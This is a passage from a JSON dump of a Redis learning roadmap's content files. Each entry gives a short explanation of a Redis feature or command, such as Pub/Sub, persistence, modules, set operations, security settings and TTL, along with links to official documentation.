    "content": "# Pub/Sub Messaging\n\nPub/Sub messaging in Redis is a messaging pattern that allows clients to communicate with each other through channels without needing direct connections. In this model, clients can subscribe to one or more channels to receive messages and can publish messages to these channels. When a message is published, all subscribed clients receive it in real-time, making it ideal for applications requiring instant notifications, such as chat systems, live updates, or event broadcasting. Redis's implementation of Pub/Sub is simple and efficient, supporting commands like `PUBLISH`, `SUBSCRIBE`, and `UNSUBSCRIBE`, although it does not provide message persistence or acknowledgment, which means that messages are not stored for clients that are not actively subscribed at the time of publishing.\n\nLearn more from the following resources:\n\n- [@official@Redis Pub/Sub](https://redis.io/docs/latest/develop/interact/pubsub/)\n- [@official@PUBLISH Command](https://redis.io/docs/latest/commands/publish/)\n- [@official@SUBSCRIBE Command](https://redis.io/docs/latest/commands/subscribe/)\n- [@official@UNSUBSCRIBE Command](https://redis.io/docs/latest/commands/unsubscribe/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/pubsub@9W_jaK1DSEZHRKdPcUM7h.md",
    "content": "# Pub/Sub\n\nPub/Sub in Redis is a powerful messaging paradigm that allows for real-time communication between clients through a publish/subscribe model. In this system, publishers send messages to specific channels without knowing who, if anyone, will receive them. Subscribers, on the other hand, express interest in particular channels and receive messages published to those channels instantly. This decouples the message producers from the consumers, facilitating flexible and scalable communication. Key commands in this model include `PUBLISH` for sending messages, `SUBSCRIBE` for listening to channels, and `UNSUBSCRIBE` for stopping the reception of messages.\n\nVisit the following resources to learn more:\n\n- [@official@Pub/Sub in Redis](https://redis.io/docs/latest/develop/interact/pubsub/)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/rdb-vs-aof-tradeoffs@3S-qqOlfr60HR4VvDr4He.md",
    "content": "# RDB vs AOF Tradeoffs\n\nWhen comparing RDB (Redis Database Backup) and AOF (Append-Only File) for data persistence in Redis, several trade-offs must be considered.\n\n**RDB** is optimized for performance and efficient storage, creating point-in-time snapshots of the dataset at specified intervals. It is faster for startup since it loads a single file and consumes less disk I/O during normal operations. However, it may lead to data loss between snapshots if the server crashes, as changes made during that interval are not saved.\n\n**AOF**, on the other hand, logs every write operation in real-time, allowing for more granular recovery with minimal data loss, as you can replay commands to reconstruct the dataset. This comes at the cost of increased disk I/O and potential performance overhead, especially with frequent write operations. The AOF file can also grow significantly, requiring periodic rewriting to optimize size.\n\nLearn more from the following resources:\n\n- [@official@RDB Advantages](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/#rdb-advantages)\n- [@official@AOF Advantages](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/#aof-advantages)\n- [@article@AOF vs RDB, Which One to Choose?](https://codedamn.com/news/backend/redis-data-persistence-aof-vs-rdb)"
  },
  {
    "path": "src/data/roadmaps/redis/content/real-time-analytics@bVJASI7bfSYqYnNhX83ng.md",
    "content": "# Real-time Analytics\n\nReal-time analytics in Redis involves the immediate processing and analysis of data as it is generated or received, enabling businesses and applications to gain insights and make decisions on-the-fly. Redis's in-memory data storage architecture allows for extremely low-latency access to data, making it ideal for scenarios such as monitoring user behavior, tracking metrics, and processing events in real-time. With support for various data structures like sorted sets for leaderboards, streams for event logging, and pub/sub for live notifications, Redis facilitates efficient aggregation, querying, and visualization of data.\n\nLearn more from the following resources:\n\n- [@official@Real-time Analytics with Redis](https://redis.io/resources/real-time-analytics-redis/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redis-benchmark@kgHwK4N-sfh6dHjd_D_me.md",
    "content": "# redis-benchmark\n\n`redis-benchmark` is a utility provided with Redis that measures the performance of the Redis server by simulating various types of workloads. It allows users to test the speed and responsiveness of Redis commands under different conditions, providing metrics such as requests per second and latency. The tool can simulate multiple clients and different command types, such as `GET`, `SET`, and `INCR`, enabling users to evaluate the performance of their Redis configuration and hardware. By adjusting parameters like the number of parallel connections and the number of requests to be sent, `redis-benchmark` helps identify performance bottlenecks, optimize configurations, and assess the impact of changes to the Redis environment, making it a valuable tool for capacity planning and performance tuning.\n\nLearn more from the following resources:\n\n- [@official@Redis Benchmark](https://redis.io/docs/latest/operate/oss_and_stack/management/optimization/benchmarks/)\n- [@article@How to benchmark the performance of a Redis server](https://www.digitalocean.com/community/tutorials/how-to-perform-redis-benchmark-tests)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redis-enterprise@8lyXDuZJ-KHl4v2_8Ew1h.md",
    "content": "# Redis Enterprise\n\nRedis Enterprise is a commercial offering that extends the capabilities of open-source Redis with advanced features designed for high availability, scalability, and performance in enterprise environments. It provides automatic sharding and replication, allowing for seamless horizontal scaling across multiple nodes and data centers. Redis Enterprise supports various deployment options, including on-premises, cloud, and hybrid environments, and offers enhanced data persistence options like active-active geo-distribution for global applications. Additionally, it includes advanced security features, such as role-based access control (RBAC), encryption, and audit logging, along with built-in monitoring and management tools. Redis Enterprise is particularly suited for mission-critical applications that require low-latency access to data and robust data management capabilities, making it ideal for use cases like real-time analytics, session management, and caching.\n\nLearn more from the following resources:\n\n- [@official@Redis Enterprise](https://redis.io/about/redis-enterprise/)\n- [@official@Redis Enterprise Software](https://redis.io/docs/latest/operate/rs/)\n- [@article@Redis Open Source vs. Enterprise](https://www.metricfire.com/blog/redis-open-source-vs-enterprise/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redis-modules@hLIT00Iz7rV56ZBIUhWYn.md",
    "content": "# Redis Modules\n\nRedis Modules are extensions that enhance the core functionality of Redis by adding new data types, commands, and capabilities. These modules allow developers to customize and extend Redis to better fit specific application needs without modifying the core Redis source code. Examples of popular Redis Modules include:\n\n1. **RediSearch**: Provides full-text search capabilities, allowing for indexing and querying data with complex search queries.\n2. **RedisGraph**: Adds graph database capabilities, enabling the storage and querying of graph data using the Cypher query language.\n3. **RedisJSON**: Facilitates the handling of JSON data structures, allowing for storage, retrieval, and manipulation of JSON documents within Redis.\n4. **RedisTimeSeries**: Optimized for time-series data, offering features for storing, querying, and aggregating time-stamped data efficiently.\n5. **RedisAI**: Integrates artificial intelligence capabilities, allowing for the execution of machine learning models directly within Redis.\n\nThese modules enable users to leverage Redis for a wide variety of use cases, from real-time analytics and search functionalities to complex data relationships and machine learning, while maintaining the performance and simplicity of Redis as an in-memory database."
  },
  {
    "path": "src/data/roadmaps/redis/content/redis-on-flash@sWOFnbh2EyaHRzquz1UeF.md",
    "content": "# Redis on Flash\n\nRedis on Flash is a feature of Redis Enterprise that allows users to extend the memory capacity of their Redis instances by utilizing SSDs (Solid State Drives) alongside traditional RAM. This enables organizations to store larger datasets at a lower cost while maintaining the high performance that Redis is known for.  In this configuration, frequently accessed data remains in RAM for fast access, while less frequently used data can be stored on Flash storage. Redis on Flash intelligently manages the data placement between memory and Flash, ensuring that performance is optimized by leveraging the speed of in-memory operations while still allowing for the efficient storage of larger datasets. This capability is particularly beneficial for use cases involving large-scale applications, such as caching, real-time analytics, and high-throughput data processing, as it allows organizations to handle big data workloads without the need for extensive investments in additional RAM.\n\nLearn more from the following resources:\n\n- [@official@Redis on Flash](https://redis.io/blog/redis-on-flash-now-3-7x-faster/)\n- [@official@Redis on Flash Data Sheet](https://media.trustradius.com/product-downloadables/1V/DT/TCXS6PSOA64L.pdf)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redis-sentinel@nci3OB1NE1zJHUPfZCOpT.md",
    "content": "# Redis Sentinel\n\nRedis Sentinel serves as a robust high-availability solution for Redis deployments, offering a comprehensive suite of monitoring, notification, and automatic failover capabilities. By continuously overseeing master and replica Redis servers, Sentinel ensures system integrity and swift response to failures. In the event of a master instance failure, it seamlessly promotes a replica to master status, reconfiguring the system to maintain service continuity with minimal downtime.\n\nLearn more from the following resources:\n\n- [@official@High Availability with Redis Sentinel](https://redis.io/docs/latest/operate/oss_and_stack/management/sentinel/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redis-vs-sqlnosql-dbs@EvWiEx_AoxAht6sKxzW2l.md",
    "content": "# Redis vs SQL/NoSQL DBs\n\nRedis differs significantly from traditional SQL and NoSQL databases in terms of data model, performance, and use cases. Redis is an in-memory key-value store that supports various data structures like strings, hashes, lists, and sets, allowing for flexible data handling and low-latency access. This makes it ideal for high-speed operations such as caching, real-time analytics, and session management. In contrast, SQL databases use a structured schema with tables and relationships, excelling in complex queries and transactions, while other NoSQL databases may utilize document, graph, or wide-column models to accommodate unstructured or semi-structured data.\n\nLearn more from the following resources:\n\n- [@article@Redis vs MongoDB](https://aws.amazon.com/compare/the-difference-between-redis-and-mongodb/)\n- [@video@Understanding NoSQL vs SQL](https://www.youtube.com/watch?v=9JHrL0UWrWs)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redisbloom@GwVL5CvbnHsiWb1hVh7lK.md",
    "content": "# RedisBloom\n\nRedisBloom is a Redis module that extends the capabilities of Redis by introducing probabilistic data structures, allowing for efficient membership testing and counting while minimizing memory usage. It provides tools such as Bloom Filters, Cuckoo Filters, Count-Min Sketches, and HyperLogLogs, enabling developers to manage large datasets with high performance and low memory overhead. With Bloom Filters, for instance, users can quickly determine if an element is possibly in a set or definitely not, making it useful for applications like web caching, spam filtering, and network security. Cuckoo Filters offer similar functionality but allow for the deletion of items. Count-Min Sketches enable approximate counting of elements in a dataset, while HyperLogLogs provide efficient cardinality estimation. RedisBloom is particularly beneficial for use cases involving big data analytics, real-time monitoring, and applications requiring high throughput with limited memory resources.\n\nLearn more from the following resources:\n\n- [@official@RedisBloom](https://redis.io/probabilistic/)\n- [@opensource@RedisBloom/RedisBloom - GitHub](https://github.com/RedisBloom/RedisBloom)"
  },
  {
    "path": "src/data/roadmaps/redis/content/rediscommander@y5FPSAi6T-5X9SUfR58_-.md",
    "content": "# RedisCommander\n\nRedisCommander is a web-based GUI management tool for Redis that simplifies the interaction with Redis databases through a user-friendly interface. It allows users to browse, edit, and manage Redis keys and data structures easily, providing visual representations of data types such as strings, hashes, lists, sets, and sorted sets. With RedisCommander, users can perform common operations like adding, modifying, and deleting keys, as well as executing commands directly from the interface. The tool also supports features like searching for keys, viewing key details, and monitoring server performance metrics. RedisCommander is particularly useful for developers and administrators who prefer a graphical interface over command-line interaction, making it easier to manage Redis instances, troubleshoot issues, and explore data in real-time. Overall, it enhances productivity and streamlines Redis database management tasks.\n\nLearn more from the following resources:\n\n- [@opensource@joeferner/redis-commander - GitHub](https://github.com/joeferner/redis-commander)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redisconf@giyKPtQ-pziA064P8OQD-.md",
    "content": "# redis.conf\n\n`redis.conf` is the configuration file used by Redis to set up server parameters and customize its behavior. This file allows administrators to specify various settings, including memory limits, persistence options (like RDB and AOF), network configurations (such as port and binding addresses), and security features (like password protection and access control). Key parameters within `redis.conf` include `maxmemory`, which sets the maximum amount of memory Redis can use, `save`, which defines RDB snapshot intervals, and `requirepass`, which enables password authentication for client connections.\n\nLearn more from the following resources:\n\n- [@official@Redis Configuration Documentation](https://redis.io/docs/latest/operate/oss_and_stack/management/config/)\n- [@official@Redis Configuration File Example](https://redis.io/docs/latest/operate/oss_and_stack/management/config-file/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redisinsight@XBPwHgIsXupMsyoOFkJZ0.md",
    "content": "# RedisInsight\n\nRedisInsight is an advanced graphical user interface (GUI) tool developed by Redis Labs that provides comprehensive management and monitoring capabilities for Redis databases. It offers users an intuitive interface to visualize and interact with their Redis data, making it easier to manage data structures such as strings, hashes, lists, sets, and sorted sets. With RedisInsight, users can perform tasks like querying and modifying data, running commands, and analyzing performance metrics in real-time. It includes features such as a query builder, visual data exploration, and memory analysis tools to help identify key usage patterns and potential optimization opportunities. Additionally, RedisInsight supports monitoring of multiple Redis instances, allowing administrators to keep track of performance and health across their deployments. Overall, RedisInsight enhances the user experience by simplifying complex Redis operations and providing valuable insights into database performance and data management.\n\nLearn more from the following resources:\n\n- [@official@RedisInsight](https://redis.io/insight/)\n- [@opensource@RedisInsight/RedisInsight - RedisInsight Module on GitHub](https://github.com/RedisInsight/RedisInsight)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redisjson@jicsfYw56VrbRUt7M8c85.md",
    "content": "# RedisJSON\n\nRedisJSON is a Redis module that enables the storage, retrieval, and manipulation of JSON documents directly within Redis. It provides a rich set of commands for working with JSON data structures, allowing users to perform operations such as adding, updating, and querying JSON documents efficiently. With RedisJSON, users can store complex nested data and perform queries on specific fields, making it ideal for applications that require handling structured data without the need for additional data transformation or processing layers. Key features include support for JSONPath querying, atomic updates, and the ability to index JSON fields for faster retrieval. This module enhances Redis's capabilities, making it a suitable choice for use cases like real-time analytics, configuration management, and any application that benefits from the flexibility and performance of JSON data structures. Overall, RedisJSON allows developers to leverage the speed of Redis while working with JSON natively, streamlining data management in modern applications.\n\nLearn more from the following resources:\n\n- [@official@RedisJSON](https://redis.io/json/)\n- [@opensource@RedisJSON/RedisJSON - GitHub](https://github.com/RedisJSON/RedisJSON)"
  },
  {
    "path": "src/data/roadmaps/redis/content/redistimeseries@RBr8opWSh2TKXC8Fmdg0j.md",
    "content": "# RedisTimeSeries\n\nRedisTimeSeries is a Redis module specifically designed for efficiently storing, querying, and managing time-series data, making it ideal for applications such as IoT monitoring, financial data analysis, and real-time analytics. It allows users to easily ingest time-stamped data, perform aggregations, and retrieve data across specified time intervals with minimal latency. The module supports features like automatic downsampling, retention policies, and powerful querying capabilities, enabling users to analyze trends and patterns over time while efficiently storing metadata alongside the time-series data.\n\nLearn more from the following resources:\n\n- [@official@RedisTimeSeries](https://redis.io/timeseries/)\n- [@official@Time Series Documentation](https://redis.io/docs/latest/develop/data-types/timeseries/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/replication-basics@rSD8nJ-uNpHJVe5Hn66h7.md",
    "content": "# Replication Basics\n\nReplication in Redis is a process that allows data from one Redis instance (the master) to be copied to one or more Redis instances (the replicas). This mechanism enhances data availability, reliability, and scalability. When a master instance receives write operations, it propagates these changes to its replicas, ensuring they maintain an up-to-date copy of the data. Replication in Redis is asynchronous, meaning that replicas may lag behind the master, but this design improves performance by allowing the master to handle write operations without waiting for replicas to confirm the receipt of data. In addition to providing redundancy, Redis replication supports read scaling, as read operations can be distributed across replicas, reducing the load on the master. Configuring replication is straightforward, requiring minimal setup in the `redis.conf` file to designate a master and its replicas. Overall, replication is a fundamental feature in Redis that plays a crucial role in building resilient and scalable applications.\n\nLearn more from the following resources:\n\n- [@official@Redis Replication](https://redis.io/docs/latest/operate/oss_and_stack/management/replication/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/retrieval-by-pattern@UlQHqw1dbxZnAKbsWsOgU.md",
    "content": "# Retrieval by Pattern\n\nThe SCAN command in Redis is a cursor-based iterator that does not guarantee to return all matching keys in one call, even if COUNT is specified. Instead, SCAN returns a small subset of keys that match the pattern, requiring subsequent calls to complete the iteration. Redis offers powerful pattern-based key retrieval, allowing users to query multiple keys using wildcard patterns. This functionality primarily relies on the KEYS command, which supports glob-style patterns such as *, ?, and [] for flexible matching.\n\nLearn more from the following resources:\n\n- [@official@SCAN](https://redis.io/docs/latest/commands/scan/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/rich-data-structures@uVewcyaFi1Pt2Gs0KrkfA.md",
    "content": "# Rich Data Structures\n\nRedis provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams.\n\nLearn more from the following resources:\n\n- [@official@Data Structures](https://redis.io/redis-enterprise/data-structures/)\n- [@official@Understand Redis Data Types](https://redis.io/docs/latest/develop/data-types/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/rpop@brUGqWZ287EWtvl9uUbNt.md",
    "content": "# RPOP\n\nThe RPOP command removes and then returns the last elements of the list stored and the specified key, by default it will pop only a single element from the list.\n\nLearn more from the following resources:\n\n- [@official@RPOP](https://redis.io/docs/latest/commands/rpop/)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/rpush@jC8G1o7yFj7D_PGmOIgcD.md",
    "content": "# RPUSH\n\nThe RPUSH command will insert all the specified values at the tail end o the list that is stored at the defined key, if the key does not exist then it will be created as an empty list before performing the push.\n\nLearn more from the following resources:\n\n- [@official@RPUSH](https://redis.io/docs/latest/commands/rpush/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/sadd@xUKoQps69FFQrJeuhD1pz.md",
    "content": "# SADD\n\nThe SADD command will add the specified members to the set which is stored and the defined key, any specified members that are already a member of the set will simply be ignored.\n\nLearn more from the following resources:\n\n- [@official@SADD](https://redis.io/docs/latest/commands/sadd/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/scard@2gZL4a9aWGKWLa89iyHTc.md",
    "content": "# SCARD\n\n`SCARD` is a Redis command used to get the number of members in a set, it returns the cardinality of the specified set, which is the total count of unique elements it contains. If the set does not exist, `SCARD` returns `0`. This command is useful for quickly determining the size of a set, allowing applications to make decisions based on the number of unique items, such as checking user participation in a campaign or the count of unique tags in a system.\n\nLearn more from the following resources:\n\n- [@official@SCARD](https://redis.io/docs/latest/commands/scard/)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/sdiff@JX5ajmcUmkshTO-mLF8lH.md",
    "content": "# SDIFF\n\nThe SDIFF coimmand returns the members of a set resulting from the difference between the first set and all the following sets.\n\nLearn more from the following resources:\n\n- [@official@SDIFF](https://redis.io/docs/latest/commands/sdiff/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/search@_GdTXcJO8uJlhPdfrmeXG.md",
    "content": "# Search\n\nRedis Search enhances the Redis experience by offering a robust set of search and query features, including a rich query language, incremental indexing for JSON and hash documents, vector search, full-text search, geospatial queries, and aggregations. These capabilities allow Redis to function as a document database, vector database, secondary index, and search engine, making it suitable for a variety of applications.\n\nLearn more from the following resources:\n\n- [@official@Search and Query](https://redis.io/docs/latest/operate/oss_and_stack/stack-with-enterprise/search/)\n- [@video@Querying, Indexing and Full-text Search in Redis](https://www.youtube.com/watch?v=infTV4ifNZY)"
  },
  {
    "path": "src/data/roadmaps/redis/content/security-and-compliance@ujs77bV8g8-FOm5hBtZFd.md",
    "content": "# Security and Compliance\n\nSecurity and compliance in Redis involve implementing various measures to protect data, ensure secure access, and adhere to relevant regulatory standards. Redis provides several built-in security features, such as password authentication using the `requirepass` directive, which restricts access to authorized users only. Additionally, Redis supports TLS/SSL encryption, allowing for secure communication between clients and the server, protecting data in transit from eavesdropping and tampering. Access control can be further enhanced through Redis's Access Control Lists (ACLs), which allow administrators to define user roles and permissions, controlling which commands users can execute and which keys they can access. It’s also important to configure Redis to bind to trusted network interfaces, limiting exposure to potential threats.\n\nLearn more from the following resources:\n\n- [@official@Redis Security Documentation](https://redis.io/docs/latest/operate/rs/security/)\n- [@article@How to Secure Redis](https://goteleport.com/blog/secure-redis/)\n- [@video@Rediscover Redis Security](https://www.youtube.com/watch?v=oD8k3ymbfkY)"
  },
  {
    "path": "src/data/roadmaps/redis/content/session-management@URxGmhZHr0Y8nyrYj0gJl.md",
    "content": "# Session Management\n\nRedis session management leverages the database's speed and versatility for efficient web application user session handling by using key-value storage with session IDs as keys, allowing quick access and updates.\n\nLearn more from the following resources:\n\n- [@official@Redis Distributed Session Management](https://redis.io/solutions/session-management/)\n- [@article@Session Management Basics with Redis](https://dev.to/koshirok096/session-management-basics-with-redis-2o2e)"
  },
  {
    "path": "src/data/roadmaps/redis/content/set@ltF4vCT9ZA2XuUuHnuGnN.md",
    "content": "# SET\n\nThe SET command sets the defined key to hold a value, if the key already holds a value then it will be overwritten regardless of its type.\n\nLearn more from the following resources:\n\n- [@official@SET](https://redis.io/docs/latest/commands/set/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/setbit@B-YUFhPQNdr1KZNupmR5N.md",
    "content": "# SETBIT\n\nThe SETBIT command sets or clearts the bit at the specified offset in the string value that is stored at the specified key. When the key does not exist, a new string value will be created and the string is grown to make sure it can hold a bit to the same value as the earlier defined offset.\n\nLearn more from the following resources:\n\n- [@official@SETBIT](https://redis.io/docs/latest/commands/setbit/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/sets@Qgkpr9vf9d6-vUg1o8XFj.md",
    "content": "# Sets\n\nA Redis set is an unordered collection of members which can be used to track unique items, represent relations and preform set operations.\n\nLearn more from the following resources:\n\n- [@official@Redis Sets](https://redis.io/docs/latest/develop/data-types/sets/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/setting-and-getting-keys@DOdNkTY1yIMipWA2CD9xH.md",
    "content": "# Setting and Getting Keys\n\nIn Redis, setting keys refers to the operation of storing keys by associating them with unique identifiers (keys), it's the process of writing or updating data in the systems. Getting keys refers to the process of retrieving data from the system using the associated key.\n\nLearn more from the following resources:\n\n- [@official@Keys](https://redis.io/docs/latest/commands/keys/)\n- [@official@SET](https://redis.io/docs/latest/commands/set/)\n- [@article@Set key values](https://www.w3resource.com/redis/redis-set-key-value.php)"
  },
  {
    "path": "src/data/roadmaps/redis/content/sinter@5aLfNBewK4Dx017qVNO3T.md",
    "content": "# SINTER\n\nThe SINTER command will return members of the set which will result in the intersection of all the given sets, keys that do not exist are considered to be empty sets.\n\nLearn more from the following resources:\n\n- [@official@SINTER](https://redis.io/docs/latest/commands/sinter/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/sismember@Ji5ghlcGJtlmErHFqVf3d.md",
    "content": "# SISMEMBER\n\nThe SISMEMBER command will simply return a boolean value is the members is a part of the set stored at key.\n\nLearn more from the following resources:\n\n- [@official@SISMEMBER](https://redis.io/docs/latest/commands/sismember/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/slow-log-analysis@yaCWw2KjX58SaPajUAb0d.md",
    "content": "# Slow Log Analysis\n\nThe Redis Slow Log in a system to log any queries that take longer than a specified time. The execution time does not include any I/O operations such as talking with the client, just the time need to execute the specified command.\n\nLearn more from the following resources:\n\n- [@official@SLOWLOG](https://redis.io/docs/latest/commands/slowlog/)\n- [@official@View Redis Slow Log](https://redis.io/docs/latest/operate/rs/clusters/logging/redis-slow-log/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/smembers@mQ0ILns53n1By0Tq6xSZI.md",
    "content": "# SMEMBERS\n\nThe SMEMBERS command returns all the members of the set that is defined at key.\n\nLearn more from the following resources:\n\n- [@official@SMEMBERS](https://redis.io/docs/latest/commands/smembers/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/sorted-sets@QTbkWZ7BpqYmBhUivccPu.md",
    "content": "# Sorted Sets\n\nA sorted set in Redis is a collection of unique strings, or members, that are ordered by an associated score. When more than one string has the same score, the strings are ordered lexicographically.\n\nLearn more from the following resources:\n\n- [@official@Sorted Sets](https://redis.io/docs/latest/develop/data-types/sorted-sets/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/srem@WQWVL5GT_scHdgfCtI7WT.md",
    "content": "# SREM\n\nThe SREM command will remove the specified members from the set stored at the defined key, specified members that are not a member of the set will be ignored.\n\nLearn more from the following resources:\n\n- [@official@SREM](https://redis.io/docs/latest/commands/srem/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/ssltls-encryption@gdiWwTQg6A-BFHdQBmgmH.md",
    "content": "# SSL/TLS Encryption\n\nSSL/TLS is supported by Redis starting with version 6 as an optional feature that needs to be enabled at compile time. TLS will add a layer to the communication stack with overheads due to the read and writes from an SSL connection and integrity checks, this will lead to a decrease of achieveable throughput.\n\nLearn more from the following resources:\n\n- [@official@Redis TLS Support](https://redis.io/docs/latest/operate/oss_and_stack/management/security/encryption/#getting-started)\n- [@official@Transport Layer Security Documentation](https://redis.io/docs/latest/operate/rc/security/database-security/tls-ssl/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/starting-the-server@43LvShQhmoWQ8Nye7fLkz.md",
    "content": "# Starting the Server\n\nStarting a Redis server is platform dependant and is usually done via `systemctl` on Linux or `brew services` on MacOS.\n\nLearn more from the following resources:\n\n- [@official@Start and stop Redis on MacOS](https://redis.io/docs/latest/operate/oss_and_stack/install/install-redis/install-redis-on-mac-os/#starting-and-stopping-redis-in-the-foreground)\n- [@official@Start and stop Redis on Ubuntu/Debian](https://redis.io/docs/latest/operate/oss_and_stack/install/install-redis/install-redis-on-linux/#starting-and-stopping-redis-in-the-background)\n- [@official@Install and start Redis on WSL2](https://redis.io/docs/latest/operate/oss_and_stack/install/install-redis/install-redis-on-windows/#install-redis)"
  },
  {
    "path": "src/data/roadmaps/redis/content/streams@zXs_9n2yEb_eVi0WuOQKH.md",
    "content": "# Streams\n\nA Redis stream is a data structure that acts like an append-only log but can also implement multiple operations to overcome limits seen in typical append-only logs. These include random access in O(1) time and complex consumption strategies, such as consumer groups.\n\nLearn more from the following resources:\n\n- [@official@Redis Streams](https://redis.io/docs/latest/develop/data-types/streams/)\n- [@official@Transport Layer Security Documentation](https://redis.io/docs/latest/operate/rc/security/database-security/tls-ssl/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/strings@Wl23Jh-ASJOQ850yjaTIU.md",
    "content": "# Strings\n\nStrings in Redis are binary-safe, meaning they can contain any kind of data, including text, integers, floats, or even binary data like images and they can hold up to 512 MB of data per key. Redis strings support a wide range of operations, from basic CRUD (Create, Read, Update, Delete) to more complex manipulations like incrementing/decrementing numeric values, appending data, or extracting substrings.\n\nLearn more from the following resources:\n\n- [@official@Redis Strings](https://redis.io/docs/latest/develop/data-types/strings/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/strlen@eJQW986HM4Wf1o1i2FnXs.md",
    "content": "# STRLEN\n\nThe STRLEN command returns the length of a string value that is stored at the defined key, if no string value is help at the key then an error will be returned.\n\nLearn more from the following resources:\n\n- [@official@STRLEN](https://redis.io/docs/latest/commands/strlen/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/subscribe@55BCntuWlaQiLPqNtb-2i.md",
    "content": "# SUBSCRIBE\n\nThe SUBSCRIBE command subscribes the client to the channels specified, once subscribed the client enters a state where it is not supposed to issue any other commands, except from those in the SUBSCRIBE subset i.e. SSUBSCRIBE, PSUBSCRIBE etc.\n\nLearn more from the following resources:\n\n- [@official@SUBSCRIBE](https://redis.io/docs/latest/commands/subscribe/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/sunion@6QoYa-N2BKNBaRtvNeVNm.md",
    "content": "# SUNION\n\nThe SUNION command returns the members of a set resulting in a union of all the given sets.\n\nLearn more from the following resources:\n\n- [@official@SUNION](https://redis.io/docs/latest/commands/sunion/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/transactions@YHbWlKrQqptUDbaQVy0_A.md",
    "content": "# Transactions\n\nRedis Transactions allow the execution of a group of commands in a single step, they are centered around the commands MULTI, EXEC, DISCARD and WATCH.\n\nLearn more from the following resources:\n\n- [@official@Transactions](https://redis.io/docs/latest/develop/interact/transactions/)\n- [@official@MULTI](https://redis.io/docs/latest/commands/multi/)\n- [@official@EXEC](https://redis.io/docs/latest/commands/exec/)\n- [@official@DISCARD](https://redis.io/docs/latest/commands/discard/)\n- [@official@WATCH](https://redis.io/docs/latest/commands/watch/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/truncation--corruption@9ToKTUqbi-NV5Wcwb21PT.md",
    "content": "# Truncation / Corruption\n\nTruncation and corruption typically refer to scenarios where data is unexpectedly cut off or altered, compromising its integrity. This can occur due to various reasons, such as sudden power failures, system crashes, or disk errors. Redis mitigates these risks through its persistence mechanisms like RDB snapshots and AOF (Append-Only File) logs.\n\nLearn more from the following resources:\n\n- [@official@AOF Advantages](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/#aof-advantages)\n- [@official@What should I do if my AOF gets truncated?](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/#what-should-i-do-if-my-aof-gets-truncated)\n- [@official@What should I do if my AOF gets corrupted?](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/#what-should-i-do-if-my-aof-gets-corrupted)"
  },
  {
    "path": "src/data/roadmaps/redis/content/ttl@Vll7VMmGWSI5XGZ9JpHyl.md",
    "content": "# TTL\n\nThe TTL command returns the remaining time left to live of a key that is specified, this capability allows a Redis client to check how many seconds a given key will continue to be a part of a dataset.\n\nLearn more from the following resources:\n\n- [@official@TTL](https://redis.io/docs/latest/commands/ttl/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/unsubscribe@5gkZzm2F4vu6IxUoJLYbK.md",
    "content": "# UNSUBSCRIBE\n\nThe UNSUBSCRIBE command unsubscribes the client for the given channels, or all channels if none are specifically stated.\n\nLearn more from the following resources:\n\n- [@official@UNSUBSCRIBE](https://redis.io/docs/latest/commands/unsubscribe/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/upgrading-redis@Cb-KazR4PuR86VX5oT0zi.md",
    "content": "# Upgrading Redis\n\nUpgrading Redis typically involves careful planning and execution to ensure minimal downtime and data integrity. The process generally includes backing up your data, installing the new Redis version, updating configuration files to accommodate any new settings or deprecated options, and restarting the Redis server.\n\nLearn more from the following resources:\n\n- [@official@Redis Administration](https://redis.io/docs/latest/operate/oss_and_stack/management/admin/)\n- [@official@Upgrading or Restarting a Redis instance without downtime](https://redis.io/docs/latest/operate/oss_and_stack/management/admin/#upgrading-or-restarting-a-redis-instance-without-downtime)"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases--best-practices@vzp7DUpjklzIA0E9WxJQA.md",
    "content": "# Usecases / Best Practices"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@2_E2VwbjTgk4xxTFWfHuV.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@3hayYoSZepw7pppBubotg.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@GNMjrLPkpTphneoQ0GoZF.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@MvyE_JUJej0UB9xe8Anfj.md",
    "content": "# Usecases"
  },
  {
